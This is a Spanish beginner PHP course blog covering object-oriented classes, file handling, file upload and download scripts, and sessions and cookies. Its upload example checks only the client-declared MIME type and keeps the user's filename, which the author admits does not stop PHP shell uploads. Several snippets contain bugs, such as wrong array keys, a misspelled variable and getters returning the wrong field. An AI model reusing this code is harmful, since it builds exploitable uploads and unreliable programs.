Libro que extiende los conocimientos de symfony para desarrolladores más expertos que ya hayan tocado este framework. No puedo decir mucho de este libro porque todavía no he tenido tiempo de echarle un vistazo.  Podeis encontrarlo traducido al castellano en el mismo sitio que todos los demás.

Si algo bueno tiene este framework es toda la documentación disponible a la que podeis acceder desde la página oficial del proyecto (totalmente en inglés) o desde las páginas de Javier Eguíluz: www.symfony.es y www.librosweb.es.

Categories: Libros, Symfony Tags: , ,

Curso PHP. Capítulo 11: Sesiones y cookies

Miércoles, 16 de junio de 2010 9 comentarios

HTTP es un protocolo sin estado. Esto quiere decir que el protocolo no dispone de un método para conservar el estado entre dos peticiones de un mismo usuario. PHP dispone de una forma para implementar las sesiones generando un identificador de sesión aleatorio que se almacena en el lado del cliente en forma de cookie, o si el cliente tiene deshabilitada las cookies se pasa al servidor por la URL. Este identificador actua como una clave y nos permite almacenar variables de sesión que se guardan en el servidor.

Cookies

Una cookie es es un fragmento de información que queda almacenada en el ordenador del usuario. Las cookies contienen pares de clave/valor y solo son accesibles por el dominio que las crea. En PHP hay dos formas de crear cookies en el ordenador del usuario, mediante la función setcookie() o enviando una cabecera en la respuesta HTTP. Para poder utilizar los dos métodos no se deben haber enviado datos al flujo de salida. Vamos a ver como crear cookies utilizando los dos métodos y como recuperar la información pasada por cookies desde el servidor con PHP.

-Cabecera Set-Cookie:

El protocolo HTTP cuenta con una cabecera para establecer cookies y podemos enviarla con la función header() como hemos visto en capítulos anteriores. La cabecera en cuestión tiene la siguiente sintaxis:

– Set-Cookie: NOMBRE=VALOR;  expires=FECHA; path=RUTA; domain=NOMBRE_DOMINIO; secure

De esta forma se crea una cookie con el nombre NOMBRE y con el valor VALOR. Los demás parámetros son opcionales, el campo expires establece el tiempo que se mantendrá la cookie en el lado del cliente, path y domain los podemos utilizar para restringir el acceso a la cookie a ciertos dominios o rutas, y secure establece si la cookie se envia a través de una conexión segura HTTPS.

<?php
header('Set-Cookie: nombre=Francisco;');
?>

En este ejemplo hemos creado una cookie en el ordenador del usuario con la clave nombre y el valor francisco.

– setcookie():

Esta función recibe como parámetros los mismos que la cabecera Set-Cookie, un nombre, un valor, una fecha, una ruta, un dominio y un booleano para establecer cookies seguras.

<?php
setcookie('nombre','Francisco');
?>

El mismo ejemplo utilizando la función.

-Acceder a las cookies desde PHP:

Podemos acceder a las cookies definidas mediante la variable super-global $_COOKIE, un array asociativo que almacena los valores mediantes las claves definidas en las cookies. De esta forma en nuestro ejemplo podemos acceder a la cookie creada de la siguiente forma.

<?php
$nombre=$_COOKIE['nombre'];
//Imprimirá Francisco
echo $nombre;
?>

Podemos eliminar las cookies si establecemos la misma cookie con una fecha de caducidad pasada. El problema de utilizar cookies para guardar información referente al usuario es que los datos se almacenan en el ordenador del usuario, y pueden no estar disponibles si el usuario ha deshabilitado el uso de cookies en su navegador. Esta es la principal razón por las que se utilizan las sesiones para guardar datos entre distintas peticiones del mismo usuario.

Sesiones

PHP utiliza por defecto cookies con sesiones. Esto quiere decir que si el navegador del usuario acepta cookies se definirá una para almacenar el identificador de sesión. Si el navegador del usuario no acepta cookies, el identificador se pasará como un parámetro más por la URL. Si queremos utilizar este último método siempre, debemos activar la directiva session.use_trans_sid en el archivo de configuración de PHP, aunque no está muy recomendado.

Los pasos que hay que seguir para utilizar sesiones son los siguientes:

1. Iniciar una sesión.

2. Registrar variables de sesión.

3. Utilizar estas variables.

4. Anular las variables registradas y eliminar la sesión.

Iniciando una sesión:

Para iniciar una sesión basta con llamar a la función session_start() antes de enviar cualquier caracter al flujo de salida siempre que queramos utilizar sesiones. Esta función comprueba si hay un identificador para el usuario, y si lo hay carga en la variable super-global $_SESSION todas las variables de sesión registradas.

<?php
session_start();
?>
Registrando variables de sesión:

Para registrar variables de sesión basta con definir un elemento en el array asociativo $_SESSION de la siguiente forma: $_SESSION[‘clave’]=valor;

<?php
session_start();

$_SESSION['nombre']='Francisco';
?>
Utilizando variables de sesión:

Antes de poder utilizar las variables de sesión definidas tenemos que iniciar la sesión. Una vez iniciadas ya podemos acceder a las variables desde el array asociativo $_SESSION[‘clave’]. Si utilizamos objetos como variables de sesión debe incluir antes la definición de clase.

<?php
session_start();
//Imprimirá Francisco
echo $_SESSION['nombre']';
?>
Anular las variables de sesión y eliminar la sesión:

Para eliminar una variable de sesión cuando ya no necesitemos utilizarla, podemos llamar a la función unset() pasandole como argumento la variable que queramos eliminar. No intenteis borrar el array $_SESSION completo porque puede deshabilitar las sesiones. Si queremos anular todas las variables podemos crear un nuevo array vacío.

Para destruir la sesión llamamos a la función session_destroy().

<?php
session_start();

//Eliminamos un par clave/valor
unset($_SESSION['nombre']);

//Eliminamos todas las variables de sesión
$_SESSION = array();

//Destruimos la sesion
session_destroy();
?>
Configurar el control de sesiones:

En el archivo de configuración de PHP existe un conjunto de directivas para configurar las sesiones. Ya hemos visto la directiva session.use_trans_sid que permitia establecer la forma de pasar el id a través de las URLs.

Algunas directivas que podemos configurar son:

– session.auto_start : Inicia las sesiones automáticamente, con el inconveniente que no se pueden almacenar objetos como variables de sesión.

– session.cache_expire: Establece la duración en minutos de la sesión.

– session.cookie_lifetime: Indica el tiempo que permanecerá la cookie de sesión en el navegador del usuario. Por defecto está 0, que indica que se borrará la cookie cuando el navegador se cierre.

– session.use_cookies: Establece las sesiones para que utilizen cookies. Por defecto viene activado.

RESUMEN

Utilizando las sesiones en PHP podemos implementar la autenticación de usuarios, por ejemplo, para mostrar ciertos contenidos dependiendo del usuario que esté utilizando la aplicación. Bastaría con definir una variable de sesión con el nombre o el id del usuario registrado en el sistema.

Ya hemos visto gran parte de los conceptos que utiliza PHP para intercambiar información entre distintas peticiones. En el próximo capítulo vamos a ver como podemos interactuar con el sistema gestor de base de datos MySQL desde PHP, pero antes voy a intentar redactar un artículo sobre el lenguaje de consulta estructurado SQL.

Hasta la próxima.

Categories: PHP Tags:

Curso PHP. Capítulo 10: Subida y descarga de ficheros.

Martes, 15 de junio de 2010 16 comentarios

Ahora que ya sabemos manipular archivos vamos a ver un ejemplo sencillo de aplicación que permita subir y descargar ficheros.

Subida de ficheros

Los formularios pueden contener un campo para subir ficheros al servidor. Antes de ver la lógica del sistema de subida de ficheros que vamos a implementar, vamos a explicar la variable super-global $_FILES de PHP y los atributos que hay que modificar en el formulario para permitir la subida de ficheros.

<form method="post" action="subir.php" enctype="multipart/form-data">
   <input type="file" name="archivo" id="archivo" />
   <input type="submit" value="Subir fichero" />
</form>

Este formulario de ejemplo muy sencillo lo hemos diseñado con dos campos, un campo de tipo file para seleccionar el archivo que se subirá al servidor, y un botón de tipo submit que envía el formulario por el método post al script subir.php.  Cabe destacar el uso del atributo enctype=”multipart/form-data” que añadirá la cabecera en la petición HTTP para indicarle al servidor que el cuerpo de la petición incluye un archivo.

Cuando envíamos una petición HTTP con archivos al servidor, PHP detecta que estamos subiendo un archivo y lo almacena en un directorio temporal establecido en la directiva upload_tmp_dir del archivo de configuración de PHP. El tamaño del archivo no debe sobrepasar lo establecido en la directiva upload_max_filesize.

Podemos acceder al fichero subido a través del array super-global $_FILES[‘name del campo file’] que nos ofrece un conjunto de propiedades a las que podemos acceder:

$_FILES[‘archivo’][‘tmp_name’]: El valor almacenado en esta clave devuelve el directorio temporal en el que se ha almacenado el archivo en el servidor.

$_FILES[‘archivo’][‘name’]: El nombre del archivo en el sistema del usuario.

$_FILES[‘archivo’][‘size’]: El tamaño en bytes del archivo subido.

$_FILES[‘archivo’][‘type’]: El tipo MIME del archivo, por ejemplo text/plain o image/gif.

$_FILES[‘archivo’][‘error’]: Código de error si se ha producido algún error.

Comprobando que se ha subido el fichero:

Podemos utilizar la función is_uploaded_file() que toma como parámetro el nombre temporal del fichero subido al servidor, no el nombre del fichero del usuario, para ver si se ha subido satisfactoriamente al servidor. Esta función devuelve TRUE si el archivo está en el directorio temporal, y FALSE en caso contrario.

<?php
if (is_uploaded_file($_FILES['archivo']['nombre_tmp']))
{
   echo 'El archivo se ha subido con éxito';
}
?>
Comprobando que el fichero no sobrepasa el tamaño permitido:

Una simple comparación entre el tamaño que queramos permitir subir y $_FILES[‘archivo’][‘size’] bastará para asegurarnos que no se sobrepasa el tamaño permitido.

<?php

if ( is_uploaded_file($_FILES['archivo']['tmp_name']) )
{
   echo 'El archivo se ha subido con éxito';

   if( $_FILES['archivo']['size']<(512*1024) )
   {
       echo 'El archivo no sobrepasa el tamaño máximo: 512KB';
   }

}

?>
Comprobando que el fichero tiene una extensión permitida:

Para comprobar si el fichero tiene una extensión permitida basta con comprobar el tipo MIME del fichero con las extensiones que permitimos.

<?php
if ( is_uploaded_file($_FILES['archivo']['tmp_name']) )
{
   echo 'El archivo se ha subido con éxito';

   if( $_FILES['archivo']['size']<(512*1024) )
   {
       echo 'El archivo no sobrepasa el tamaño máximo: 512KB';

        if( $_FILES['archivo']['type']=='image/jpeg')
        {
             echo 'La extensión JPEG está permitida';
        }
   }
}
?>
Mover el fichero del directorio temporal a nuestro directorio de subidas:

Si no movemos el archivo del directorio temporal a un directorio donde tengamos almacenados los ficheros subidos por los usuarios, el fichero se perderá en el limbo de PHP y no podremos recuperarlo. Para ello contamos con la función move_uploaded_file() que toma dos parámetros, la ruta del fichero en el directorio temporal y la nueva ruta donde queramos almacenarlo.

<?php

if ( is_uploaded_file($_FILES['archivo']['tmp_name']) )
{
   echo 'El archivo se ha subido con éxito';

   if( $_FILES['archivo']['size']<(512*1024) )
   {
       echo 'El archivo no sobrepasa el tamaño máximo: 512KB';

        if( $_FILES['archivo']['type']=='image/jpeg')
        {
             echo 'La extensión JPEG está permitida';

             $rand = rand(1000,999999);
             $origen = $_FILES['archivo']['tmp_name'];
             $destino = 'uploads/'.$rand.$_FILES['archivo']['name'];
             move_uploaded_file($origen, $destino);

        }
   }
}

?>

El número aleatorio rand entre 1000 y 999999 lo utilizamos para prevenir la sobreescritura de ficheros con el mismo nombre.  De esta forma ya hemos implementado un sistema de subida de archivos JPEG de tamaño menor a 512KB. Ahora bien, este sistema no es del todo seguro para evitar la subida de archivos maliciosos diseñados para atacar nuestra aplicación, como por ejemplo, una shell en php. Queda pendiente realizar una entrada para evitar esta vulnerabilidad de las aplicaciones web. Hasta ahora contais con dos artículos dedicados a las principales vulnerabilidades: evitar XSS y evitar RFI y FLI.

Descarga de ficheros

Para descargar ficheros normalmente ponemos la ruta al fichero en el enlace y el navegador ya se encarga de realizar la petición HTTP oportuna al servidor. Pero, ¿que ocurre cuando el archivo que se desea bajar se ha generado dinámicamente y aún no está guardando en ningún directorio dentro del servidor o solo queremos que se puedan descargar archivos a través de un script de PHP?  Pues que tendremos que diseñar algún método que permita forzar la descarga de archivos.

La solución es enviar la petición HTTP de respuesta mediante código PHP enviandouna serie de cabeceras HTTP mediante la función header() de PHP que solo funciona si no se ha enviado nada al flujo de salida.

Las cabeceras de la respuesta HTTP que vamos a enviar son:

– Content-Type: application/force-download

– Content-Disposition: attachment;  filename=nombre_del_fichero

– Content-Transfer-Enconding: binary

– Content-Length: tamaño_del_fichero

Accederemos al script de descarga de la siguiente manera:

<a href="descarga.php?archivo=imagen5.jpeg" >Descargar imagen</a>
<?php
//Si la variable archivo que pasamos por URL no esta 
//establecida acabamos la ejecucion del script.
if (!isset($_GET['archivo']) || empty($_GET['archvo'])) {
   exit();
}

//Utilizamos basename por seguridad, devuelve el 
//nombre del archivo eliminando cualquier ruta. 
$archivo = basename($_GET['archivo']);

$ruta = 'imagenes/'.$archivo;

if (is_file($ruta))
{
   header('Content-Type: application/force-download');
   header('Content-Disposition: attachment; filename='.$archivo);
   header('Content-Transfer-Encoding: binary');
   header('Content-Length: '.filesize($ruta));

   readfile($ruta);
}
else
   exit();
?>

Verificamos que el archivo existe, enviamos las cuatro cabeceras, y utilizamos la funcion readfile() que devuelve el contenido del archivo por el flujo de salida. Podemos mejorar mucho ese script añadiendo el content-type adecuado, y haciendo más comprobaciones de seguridad.

RESUMEN

Ya hemos visto como implementar dos sitemas sencillos de subida y descargas de fichero y como utilizar la variable super-global $_FILES[] para acceder a los datos de los ficheros subidos al servidor. Queda pendiente realizar un artículo sobre las vulnerabilidades en las subidas de archivos. Me documentaré sobre esta cuestión y más adelante intentaré redactar un artículo dedicado a este tema.

En el próximo capítulo veremos como persistir datos entre diferentes peticiones HTTP del mismo usuario.

Hasta la próxima.

Categories: PHP Tags:

Curso PHP: Capítulo 9: Lectura y escritura de ficheros

Martes, 15 de junio de 2010 4 comentarios

Hasta ahora casi todo lo que hemos visto son algunos aspectos de PHP en lo referente al lenguaje, como:

– Manipular datos en variables, ya sean cadenas, enteros, flotantes, booleanos o arrays.

– Utilizar funciones definidas en la API de PHP y crear nuestras propias funciones.

– Utilizar operadores para realizar cálculos y las estructuras de control para cambiar el flujo de nuestros scripts.

– Nos hemos introducido en el mundo de la POO y hemos manipulado objetos.

– Hemos accedido a las datos que los usuarios envian a través de formularios con el método POST y GET.

Pero aún estamos muy lejos del camino de poder juntar todo lo aprendido para realizar aplicaciones webs dinámicas. En este capítulo vamos a ver como podemos manejar ficheros en el servidor con PHP.

En PHP5 existen un conjunto de funciones para manipular ficheros, no vamos a ver todas, solo las más utilizadas. Si quereis ver más ejemplos o una documentación más detallada como siempre podeis acudir a la documentación oficial en línea de PHP.

Apertura de ficheros

-fopen()

Para abrir un fichero en PHP se utiliza la función fopen() que devuelve un recurso que apunta al fichero abierto. Los 2 parámetros que se pasan a esta función son los siguiente:

– Nombre del fichero. PHP5 puede acceder a ficheros locales o ficheros remotos mediante HTTP y FTP. El fichero que se quiere abrir debe tener los permisos adecuados.

-Modo de apertura. Especifica el tipo de acceso que se tendrá al fichero. Os incluyo la tabla de la especificación oficial para que veais los diferentes modos de apertura:

modo Descripción
‘r’ Apertura para sólo lectura; coloca el puntero al principio del archivo.
‘r+’ Apertura para lectura y escritura; coloca el puntero al principio del archivo.
‘w’ Apertura para sólo escritura; coloca el puntero al  principio del archivo y trunca el archivo a longitud cero, por lo que borrará todo su contenido. Si el archivo no existe se intenta crear.
‘w+’ Apertura para lectura y escritura; coloca el puntero al principio del archivo y trunca el archivo a longitud cero, por lo que borrará todo su contenido. Si el archivo no existe se intenta crear.
‘a’ Apertura para sólo escritura; coloca el puntero al final del archivo. Si el archivo no existe se intenta crear.
‘a+’ Apertura para lectura y escritura; coloca el puntero  al final del archivo. Si el archivo no existe se intenta crear.
‘x’ Creación y apertura para sólo escritura; coloca el puntero al principio del archivo. Si el archivo ya existe, la llamada a fopen() fallará devolviendo FALSE y generando un error de nivel E_WARNING. Si
el archivo no exite se intenta crear.
‘x+’ Creación y apertura para lectura y escritura; coloca el puntero al principio del archivo. Si el archivo ya existe, la llamada a fopen() fallará devolviendo FALSE y generando un error de nivel E_WARNING. Si
el archivo no exite se intenta crear.

También se puede especificar b de binario o c de texto en combinación con los diferentes modos de apertura. Solo en sistemas Windows se diferencia entre archivos binarios y de texto, así que si se quiere lograr la mayor portabilidad del código sería más eficiente abrir los archivos en modo binario.

-El tercer parámetro es opcional, es un booleano que indica si debe buscar el archivo en la directiva include_path en el archivo de configuiración de PHP.

En este ejemplo abrimos un fichero en modo binario para leer y escribir al final del fichero, sin borrar el contenido. El tercer parámetro lo establecemos a true para que busque el fichero en el include_path. Utilizamos el operador para suprimir los posibles errores que muestre la función fopen() si algo va mal. Comprobamos si el puntero es FALSE, y en ese caso mostramos un mensaje de error.

<?php
$fichero = @fopen('archivo.txt', 'a+b', true );
if(!$fichero)
{
   echo 'No se puede abrir el fichero.';
}
?>

Escritura de ficheros

-fwrite() y fputs():

PHP cuenta con una serie de métodos para escribir en un fichero abierto para escritura. Podemos utilizar la función fwrite() o fputs(). A estas dos funciones que funcionan de la misma manera, ya que fputs() es un alias de fwrite(), se les tiene que pasar dos parámetros, el recurso apuntador del fichero y la cadena que quiere escribirse. El tercer parámetro es opcional e indica la longitud en bytes que se va a escribir. La función devuelve el número de bytes escritos o FALSE si hubo algún error.

<?php
$fichero = @fopen('archivo.txt', 'a+b', true );
if(!$fichero)
{
   echo 'No se puede abrir el fichero.';
}

$cadena="Hola, esto es un ejemplo de escritura en ficheros.";

fwrite($fichero, $cadena, strlen($cadena));
?>

Lectura de ficheros

PHP también cuenta con una serie de funciones para leer ficheros. Podemos utilizar por ejemplo la función fread(). Esta función toma dos parámetros, el recurso que apunta al fichero, y el número de bytes que queremos leer. Esta función es poco manejable cuando queremos buscar en un fichero, así que PHP cuenta con funciones más precisas para leer líneas del fichero apoyandose en otras funciones relacionadas.

-feof():

Esta función toma como parámetro el recurso que apunta al fichero y devuelve TRUE si el puntero se encuentra al final del archivo.

-fgets():

Esta función se utiliza para leer línea a línea un fichero. Toma como parámetro el puntero al fichero y opcionalmente una longitud y leerá una nueva línea o hasta que alcanze la longitud establecida en el segundo parámetro opcional. Utilizar esta función es la forma ideal de ir analizando el fichero línea a línea para encontrar la información que estamos buscando.

Vamos a ver un ejemplo de lectura utilizando la función fgets() y feof() para leer un fichero línea a línea y mostrarlo en pantalla:

<?php

$fichero = @fopen('archivo.txt', 'rb', true );
if(!$fichero)
{
   echo 'No se puede abrir el fichero.';
}
$num=1;
while (!feof($fichero))
{
     $linea = fgets ($fichero) ;
     echo 'Linea '.$num.': '.$linea.'<br />';
     $num++;
}
?>
-fgetc():

Esta función es muy parecida a la anterior pero devuelve un solo carácter.

-readfile() y file_get_contents():

Estas dos funciones sirven para leer todo el fichero de una vez. La función readfile() toma como parámetro la ruta absoluta del fichero y muestra todo su contenido en pantalla sin la necesidad de haber abierto el fichero para lectura. La función file_get_contents() funciona de manera similar pero no imprime el contenido en la salida estándar sino que lo guarda en una variable de tipo cadena.

<?php
$archivo = file_get_contents('archivo.txt', true);
echo $archivo;
?>

Cierre de ficheros

-fclose():

Cerrar un fichero es tan fácil como abrirlo. Para ello utilizamos la función fclose() que toma como parámetro el puntero al fichero que queremos cerrar.

<?php
$archivo = file_get_contents('archivo.txt', true);
echo $archivo;
fclose($archivo);
?>

Sistema de ficheros

PHP cuenta con una serie de funciones para manipular el sistema de ficheros, con ellas podemos copiar, renombrar y mover ficheros.

-copy():

Esta función copia un archivo a un destino. Toma dos parámetros, la ruta al archivo qeu se quiere copiar, y una ruta donde se quiere copiar el fichero. Devuelve TRUE en caso de éxito o FALSE en caso contrario.

<?php
$archivo = 'archivo.txt';
$nuevo_archivo = 'copia.txt';

if (!copy($archivo, $nuevo_archivo)) {
    echo 'Error al copiar.';
}
?>
-rename():

Esta función renombra un archivo. Toma dos parámetros la ruta al archivo que se quiere renombrar, y el nuevo nombre del archivo.

<?php
$archivo = 'archivo.txt';
$nuevo_archivo = 'nuevo.txt';

if (!rename($archivo, $nuevo_archivo)) {
    echo 'Error al renombrar.';
}
?>
-unlink():

Esta función borra un archivo. Toma como parámetro la ruta al archivo.

<?php
$archivo = 'archivo.txt';
if (!unlink($archivo)) {
    echo 'Error al borrar.';
}
?>
-file_exists():

Esta función comprueba si existe un fichero que se le pase como parámetro. Devuelve TRUE si existe, FALSE en caso contrario. Hay que tener en cuenta que el parámetro no es un puntero al fichero, sino el nombre del fichero.

<?php
$archivo = 'archivo.txt';
 
if (file_exists($nombre_archivo)) {
    echo "El archivo $archivo existe";
} else {
    echo "El archivo $archivo no existe";
}
?>

RESUMEN

Hemos visto algunas funciones interesantes para abrir, escribir, leer y cerrar ficheros, asi como para borrar, renombrar y copiar ficheros. PHP cuenta con muchas más funciones referentes al sistema de ficheros y directorios que no vamos a ver en este cpítulo para no hacerlo tan extenso. Podeis echarles un vistazo en la documentación oficial. Ya sabeis siempre que tengais alguna duda de si existe una función es mejor buscar una que te pueda servir en la API de php, y sino crearte la tuya propia. En el proximo capítulo veremos como subir archivos al servidor mediate un formulario.

Hasta la próxima.

Categories: PHP Tags:

Curso PHP. Capítulo 8: Programación orientada a objetos. (II/II)

Martes, 15 de junio de 2010 5 comentarios

Una vez visto gran parte de los conceptos orientados a objetos en PHP vamos a mostrar un ejemplo que maneja objetos para gestionar un videoclub. Antes de nada, hay que decir que este ejemplo no está completo, ni siquiera es la forma ideal de realizar una aplicación de gestión, pero nos sirve como ejemplo para aprender a manejar objetos.

Vamos a realizar en primer lugar un diagrama de clases en UML para representar gráficamente las clases que vamos a utilizar para gestionar los diferentes objetos. Para no alargar mucho el ejemplo, vamos a contar con una serie de clases muy limitadas:

-La clase Videoclub: es la clase principal de nuestra aplicación. Representa a un videoclub en el dominio del problema y cuenta con una colección de clientes y productos registrados. Así como métodos para alquilar un producto a un cliente, y registrar nuevos productos y clientes en el videoclub.

-La clase Cliente: representa a un cliente. Cuenta con una variable que representa la colección de productos alquilados.

-La clase Producto: clase abstracta que representa un producto del videoclub. No podemos instanciar objetos Producto. Cuenta con una serie de atributos que heredarán las subclases, nombre y precio.

-Las clases Pelicula, Cd, Juego: clases derivadas de la clase padre Producto. Representan los diferentes productos del que dispone el videoclub. Cada producto tiene asignado un precio diferente de alquiler. Para mostrar un ejemplo de clases abstractas, herencias y reemplazo de métodos, he diseñado la clase Producto con un método abstracto getPrecio() que deberán implementar las clases derivadas. Así cada tipo de Producto contará con un método getPrecio() que devolverá el precio en función del tipo de producto que sea. Las peliculas devolverán 2 euros, los cds de música devolverán 1 euro y los juegos 3 euros.

Tras esta breve descripción de las clases del dominio de nuestra aplicación, vamos a crear el código PHP que utilizaremos para instanciar objetos:

Clase Cliente

<?php

/* Clase que representa a un cliente en el dominio del problema */
class Cliente
{
	private $nombre;
	private $productosAlquilados;

	public function __construct($nombre)
	{
		$this->nombre=$nombre;
		$this->productosAlquilados=array();
	}

	public function getNombre()
	{
		return $this->nombre;
	}

	public function getProductosAlquilados()
	{
		return $this->productosAlquilados;
	}

	public function alquilarProducto($producto)
	{
		$this->productosAlquilados[]=$producto;
		return true;
	}
}
?>

Clase Producto

<?php
abstract class Producto
{
    protected $nombre;
    protected $precio;

    public function getNombre()
    {
       return $this->nombre;
    }

    abstract public function getPrecio();
}
?>

Clase Pelicula

<?php
class Pelicula extends Producto
{

	private $idioma;
	private $duracion;
	private $genero;

	public function __construct($nombre,$idioma,$duracion,$genero)
	{
		$this->nombre = $nombre;
		$this->precio = 2;
		$this->idioma = $idioma;
		$this->duracion = $duracion;
		$this->genero=$genero;
	}

    public function getPrecio()
	{
	   return $this->precio;
	}

	public function getIdioma()
	{
	   return $this->precio;
	}

	public function getDuracion()
	{
	   return $this->precio;
	}
}
?>

Clase Cd

<?php
class Cd extends Producto
{

	private $duracion;
	private $genero;

	public function __construct($nombre,$duracion,$genero)
	{
		$this->nombre = $nombre;
		$this->precio = 1;
		$this->genero = $genero;
		$this->duracion = $duracion;
	}

    public function getPrecio()
	{
	   return $this->precio;
	}

	public function getDuracion()
	{
	   return $this->duracion;
	}

	public function getGenero()
	{
	   return $this->Genero;
	}
}
?>

Clase Juego

<?php
class Juego extends Producto
{

	private $plataforma;
	private $genero;

	public function __construct($nombre,$plataforma,$genero)
	{
		$this->nombre = $nombre;
		$this->precio = 3;
		$this->idioma = $idioma;
		$this->duracion = $duracion;
	}

    public function getPrecio()
	{
	   return $this->precio;
	}

	public function getPlataforma()
	{
	   return $this->plataforma;
	}

	public function getGenero()
	{
	   return $this->Genero;
	}
}
?>

Clase Videoclub

<?php

include_once('class.cliente.php');
include_once('class.producto.php');
include_once('class.pelicula.php');
include_once('class.cd.php');
include_once('class.juego.php');

class Videoclub
{

	private $nombre;
	private $productos;
	private $clientes;

	public function __construct($nombre)
	{
		$this->nombre=$nombre;
		$this->productos=array();
		$this->clientes=array();
	}

	public function addProducto($producto)
	{
		$this->productos[]=$producto;
	}

	public function getProductos()
	{
		return $this->productos;
	}

	public function addCliente($cliente)
	{
		$this->clientes[]=$cliente;
	}

	public function getClientes()
	{
		return $this->clientes;
	}

	public function alquilar($cliente,$producto)
	{
		$cliente->alquilarProducto($producto);
	}

}
?>

Ya tenemos creadas las clases que vamos a utilizar para instanciar objetos y gestionar nuestro videoclub. Ahora realizamos un pequeño script de ejemplo que muestr el manejo de estos objetos.

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Prueba</title>
</head>
<body>

<?php

include_once('class.videoclub.php');

//Creamos un videoclub
$videoclub= new Videoclub('VideoMax');

//Creamos un nuevo cliente de nombre Francisco
$cliente=new Cliente('Francisco');

//Creamos una nueva pelicula
$pelicula=new Pelicula('El señor de los Anillos','Castellano','3 horas','Fantasía');

//Registramos el cliente y el producto en el videoclub
$videoclub->addCliente($cliente);
$videoclub->addProducto($pelicula);

//El cliente alquila la pelicula
$videoclub->alquilar($cliente, $pelicula);

//Obtenemos la lista de clientes registrados
$clientes = $videoclub->getClientes();

//Imprimimos la lista de clientes registrados
echo '<p>Lista de Clientes:</p>';
foreach($clientes as $cliente)
{
	echo $cliente->getNombre().'<br />';
}

//Obtenemos la lista de productos registrados
$productos = $videoclub->getProductos();
echo '<p>Lista de Productos:</p>';
foreach($productos as $producto)
{
	echo $producto->getNombre().'<br />';
}

?>

</body>
</html>

No hay mucho más que decir de este script de ejemplo ya que el código viene muy detallado. Creamos una instancia del videoclub, un nuevo cliente y un nuevo producto, los registramos dentro del videoclub, y alquilamos la pelicula al cliente. Despúes obtenemos los clientes y productos registrados y los mostramos por pantalla. Y hasta aquí nuestra pequeña aplicación de prueba.

Vuelvo a repetir, que no es una buena forma de implementar una aplicación de gestión, ya que no persisten los datos. Con cada nueva petición, se creará un nuevo videoclub vacio. Y se volverán a añadir el cliente y la película. Además las clases están incompletas, faltan métodos, como el de devolver el producto, eliminar un cliente, eliminar un producto, comprobar si el producto está disponible y no está alquilado, y ni siquiera interactúa con el usuario, simplemente sigue las mismas instrucciones con cada petición. En definitiva, que es una chapuza de aplicación lo que hemos creado, pero sirve bastante bien para ver como podemos manejar objetos a partir de clases creadas por nosotros mismos.

Cuando vayamos avanzando en el curso de PHP seremos capazes de crear aplicaciones profesionales, utilizando patrones de diseño,  frameworks orientados a objetos como symfony para estructurar bien el código siguiendo una arquitectura MVC (modelo-vista-controlador). Aprenderemos a persistir datos mediante ficheros y bases de datos. A persistir estados entre distintas peticiones del mismo usuario mediante las sesiones y mucho más. Paso a paso, nutriendonos  de conocimiento.

El próximo capítulo supongo que lo dedicaré al manejo de ficheros.

Hasta la próxima.

Curso PHP. Capítulo 8: Programación orientada a objetos. (I/II)

Lunes, 14 de junio de 2010 3 comentarios

En este capítulo voy a explicar los conceptos relacionados con la programación orientada a objetos en PHP. No va a ser un curso dedicado al análisis y desarrollo de aplicaciones siguiendo esta metodología porque para ello haría falta un libro entero. Disponeis de un buen libro en la sección dedicada al analisis y diseño orientado a objetos.

PHP fue diseñado originalmente como un lenguaje de scripting, pero a medida que se avanzaba en su desarrollo, se fueron incluyendo características para programar con orientación a objetos. Hoy en día con PHP5 contamos ya con una buena plataforma de programación orientada a objetos.

Hay mucha controversia sobre la mejor forma de afrontar un proyecto web. Hay partidarios de utilizar PHP como un gran número de funciones separadas e ir realizando las llamadas necesarias, es decir, utilizar PHP como un simple lenguaje de scripting utilizando la metodología de la programación estructurada.

Por el contrario tenemos a desarrolladores que prefieren dedicar más tiempo a diseñar un buen sistema orientado a objetos utilizando los distintos frameworks disponibles, como symfony, zend o code igniter.

No tengo la experiencia necesaria para decantarme por uno de los diferentes métodos de desarrollo, es obvio, que utilizar la metodología de la programación estructurada es más sencillo ya que aprender a utilizar los distintos frameworks requiere tiempo y esfuerzo dando lugar a una curva de aprendizaje más larga. Aún así, este pequeño inconveniente no debería frenaros. En mi caso por ejemplo, empezé utilizando PHP probando el desarrollo con funciones separadas y organizadas en archivos. El paso a la programación orientada a objetos no me costó mucho porque ya había tocado lenguajes como Java o C# y algo de analisis y diseño OO con UML.

Hoy en día todavía no he aprendido a usar bien el primer framework con el que estoy practicando, symfony, pero poco a poco fui capaz de ir desarrollando pequeñas cosas con este framework dandote cuenta de la potencia que tiene este framework para desarrollar aplicaciones dinámicas. Cuando acabe el curso de PHP intentaré comenzar uno de Symfony.

En este capítulo voy a explicar los conceptos de la POO en PHP, y luego intentaré mostraros algunos ejemplos. Voy a presuponer que el lector tiene algunos conocimientos de los pilares básicos de la POO: encapsulación, herencia y polimorfismo, ya que no serán explicados en profundidad.

Clases y objetos:

Una clase es un tipo de datos que define el estado y el comportamiento de los objetos que se instancian a partir de ellas. Contiene un conjunto de atributos/propiedades/campos y un conjunto de funciones/métodos/operaciones. En PHP las clases se crean utilizando la palabra clave reservada class:

class nombreClase
{
}

Dentro de la definición de clase podemos declarar variables y funciones. Las variables pueden declararse utilizando la palabra clave var, pero en PHP5 ya existen los modificadores de acceso public, protected y private típicos de los lenguajes orientados a objetos.

class nombreClase
{
   private $atributo_privado;
   protected $atributo_protegido;
   public $atributo_publico;

   private function operacion_1()
   {
   }

   public function operacion_2()
   {
   }

}

Modificadores de acceso:

Si no especificamos ningún modificador de acceso, por defecto las variables y funciones son public, es decir, son accesibles desde dentro y fuera del objeto. Esto es una mala práctica de programación porque rompe con los principios de la POO, ya que hay que garantizar la integridad de los datos, es decir, lo ideal sería encapsular los datos para que solo el propio objeto pudiera manipularlos y exponer una interfaz para poder acceder a ellos.

Las variables y funciones declaradas como private solo son accesibles dentro de la clase. Las clases que hereden de ella tampoco tendrán acceso a las variables y funciones declaradas con el modificador de acceso private.

Si queremos que las variables y las funciones sean accesibles también para las clases que heredan pero que no se puedan manipular desde fuera podemos declararlas con el modificador de acceso protected.

Constructor:

